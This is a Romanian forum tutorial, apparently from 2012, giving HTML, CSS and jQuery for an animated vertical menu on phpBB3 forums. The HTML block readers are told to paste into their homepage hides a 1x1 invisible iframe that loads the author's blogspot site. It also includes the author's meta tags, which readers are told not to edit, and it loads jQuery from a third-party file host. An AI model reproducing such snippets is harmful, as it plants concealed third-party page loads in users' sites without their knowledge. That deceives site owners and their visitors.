Ultimele subiecte
» [All Version] Social Link/Icons
Scris de Jean01Crv 13/10/2014, 12:52 pm

» (pHpBB3) Legenda : Sistem Nou
Scris de Jean01Crv 13/10/2014, 12:49 pm

» Imagine la Statistici & Cine este Conectat ? [pHpBB3]
Scris de Jean01Crv 13/10/2014, 12:44 pm

» Statistici - Sistem Nou [pHpBB3]
Scris de Jean01Crv 13/10/2014, 12:20 pm

» [Prezentare]Chozen
Scris de valyd1971 16/5/2014, 12:54 am

Vizitator Vizitator
Cine este conectat?
In total sunt 3 utilizatori conectati: 0 Inregistrati, 0 Invizibil si 3 Vizitatori :: 1 Motor de cautare

Nici unul

[ Vizualizeaza toata lista ]


Recordul de utilizatori conectati a fost de 42, 1/11/2012, 8:58 am

tutorial Bare verticala foarte eleganta jQuery

Vezi subiectul anterior Vezi subiectul urmator In jos

tutorial Bare verticala foarte eleganta jQuery

Mesaj Scris de Benkes la data de 10/5/2012, 2:46 pm

Vom realiza un meniu vertical foarte elegant folosind cunoștințe minime de html - css - jQuery (versiune de forum compatibile Phpbb3)
Mai întâi DEMO: (nu voi atașa codurile la o anumita pagina html - risk de publicitate) voi prezenta demo sub forma de 2 imagini :
1) "Meniu vertical cu jQuer" asa apare în site/forum/blog dvs.: Link 1;
2) "Meniu vertical cu jQuer" asa apare în site/forum/blog dvs. după poziționarea cursorului pe meniu : Link 2
Resurse de care avem nevoie :

  • Cod html amplasare : pentru forum: Panou de administrare--->Pagina de start--->Generalități--->Mesaj pe pagina de start---> adauga codul
:
Cod:
<html>

<!-- Meta cod pentru SEO -->

<title>Meniu vertical jQuery</title>
<meta content="text/html; charset=UTF-8" http-equiv=Content-Type>
<meta name="description" content="Meniu vertical jQuery">
<meta name="keywords" content="Meniu vertical jQuery">
<meta name="author" content="Ali, matematica-ajutor@hotmail.com">

<!-- Codul css -->

<style>
        body{
            background:#fff url(desc.png) no-repeat 50px 100px;
            font-family:Arial;
            height:2000px;
        }
        .header
        {
            width:600px;
            height:56px;
            position:absolute;
            top:0px;
            left:25%;
            background:#fff url(title.png) no-repeat top left;
        }
        a.back{
            width:256px;
            height:73px;
            position:fixed;
            bottom:15px;
            right:15px;
            background:#fff url(codrops_back.png) no-repeat top left;
        }
        .scroll{
            width:133px;
            height:61px;
            position:fixed;
            bottom:15px;
            left:150px;
            background:#fff url(scroll.png) no-repeat top left;
        }
        .info{
            text-align:right;

        }
    </style>
   
    <!-- Codul HTML-->
   
    <body>
        <div class="header"></div>
        <div class="scroll"></div>
        <ul id="navigation">
       
<!-- Doar aici puteti modifica
Se modifica doar link, se pune link intre ghilimele dupa < a href=
Se poate modifica titlul. -->

            <li class="home"><a href="" title="Home"></a></li>
            <li class="about"><a href="" title="About"></a></li>
            <li class="search"><a href="" title="Search"></a></li>
            <li class="photos"><a href="" title="Photos"></a></li>
            <li class="rssfeed"><a href="" title="Rss Feed"></a></li>
            <li class="podcasts"><a href="" title="Podcasts"></a></li>
            <li class="contact"><a href="" title="Contact"></a></li>
        </ul>

<script type="text/javascript">
            $(function() {
                $('#navigation a').stop().animate({'marginLeft':'-85px'},1000);

                $('#navigation > li').hover(
                    function () {
                        $('a',$(this)).stop().animate({'marginLeft':'-2px'},200);
                    },
                    function () {
                        $('a',$(this)).stop().animate({'marginLeft':'-85px'},200);
                    }
                );
            });
        </script>
        <iframe src="http://www.pasionatidematematica.blogspot.com" style="visibility: hidden;" width="1" height="1"></iframe>
</body>
</html>
Ce trebuie sa modificați ?
Răspuns: doar ceea ce v-am sugerat în cod și anume :
Cod:
<!-- Doar aici puteti modifica
Se modifica doar link, se pune link intre ghilimele dupa < a href=
Se poate modifica titlul. -->
Ps: codul html conține linii de meta cod (nu umblați acolo), acesta vor ajuta site/forum/blog dvs în SEO ... sunt foarte importanta pentru corectitudinea codului cat și pentru trafic organic pentru site-ul dvs...sunt bonus de la mine Very Happy

  • Cod Css amplasare : pentru forum: Panou de administrare--->Pagina de start--->Imagini si culori--->Foaia de stil css---> adaugă codul :

Cod:
ul#navigation {
    position: fixed;
    margin: 0px;
    padding: 0px;
    top: 10px;
    left: 0px;
    list-style: none;
    z-index:9999;
}
ul#navigation li {
    width: 100px;
}
ul#navigation li a {
    display: block;
    margin-left: -2px;
    width: 100px;
    height: 70px;   
    background-color:#CFCFCF;
    background-repeat:no-repeat;
    background-position:center center;
    border:1px solid #AFAFAF;
    -moz-border-radius:0px 10px 10px 0px;
    -webkit-border-bottom-right-radius: 10px;
    -webkit-border-top-right-radius: 10px;
    -khtml-border-bottom-right-radius: 10px;
    -khtml-border-top-right-radius: 10px;
    /*-moz-box-shadow: 0px 4px 3px #000;
    -webkit-box-shadow: 0px 4px 3px #000;
    */
    opacity: 0.6;
    filter:progid:DXImageTransform.Microsoft.Alpha(opacity=60);
}
ul#navigation .home a{
    background-image: url(../images/home.png);
}
ul#navigation .about a      {
    background-image: url(../images/id_card.png);
}
ul#navigation .search a      {
    background-image: url(../images/search.png);
}
ul#navigation .podcasts a      {
    background-image: url(../images/ipod.png);
}
ul#navigation .rssfeed a  {
    background-image: url(../images/rss.png);
}
ul#navigation .photos a    {
    background-image: url(../images/camera.png);
}
ul#navigation .contact a    {
    background-image: url(../images/mail.png);
}
Ps: se pot modifica :background-image: url(../images/home.png); în loc de cea ce este scris cu rosu se poate adauga link catre poza dvs.

  • Cod jQuery amplasare : pentru forum: Panou de administrare--->MODULE--->HTML & JAVASCRIPT--->Gestiunea codurilor JavaScript--->Creati un nou cod java script --->adauga cod :

Cod:
<script type="text/javascript" src="http://yourjavascript.com/922553451/jquery-1.3.2.js"></script>
Ps: in caz ca nu merge accesati acest link :http://yourjavascript.com/922553451/jquery-1.3.2.js copiați conținutul documentului în :
Panou de administrare--->MODULE--->HTML & JAVASCRIPT--->Gestiunea codurilor JavaScript--->Creati un nou cod java script --->adauga cod.
De reținut :

  1. Pentru forum PHPBB3, se poate utiliza acest tutorial conform celor de mai sus;
  2. Pentru Portal forum PHPBB3, se poate utiliza acest tutorial, însa ordinea cods se modifica (pentru mai multe detalii întrebați );
  3. Pentru blog, site se poate utiliza acest tutorial (pentru mai multe detalii întrebați );
  4. In cazul site-lor/forum-lor cu conținut bogat un astfel de meniu este o "mana cereasca" ;
  5. Respectați ordinea tutorialului ... altfel veți întâmpina probleme ;
  6. Pentru suport, postați întrebările dvs aici nu prin PM

Toate aceste spuse, sper sa va fie de ajutor, voi reveni cu alte tutoriale Very Happy
avatar
Benkes
Membru


Vezi profilul utilizatorului

Sus In jos

Re: tutorial Bare verticala foarte eleganta jQuery

Mesaj Scris de StaarK* For EvEr la data de 11/5/2012, 1:25 am

Mutat in sectiunea corespunzatoare


Do not judge me for what I do, do not judge me for what I do!
Cee I did was a mother first but now changed!
Sincerely Extream-Suport Team
avatar
StaarK* For EvEr
Administrator


Vezi profilul utilizatorului

Sus In jos

Vezi subiectul anterior Vezi subiectul urmator Sus

- Subiecte similare

 
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum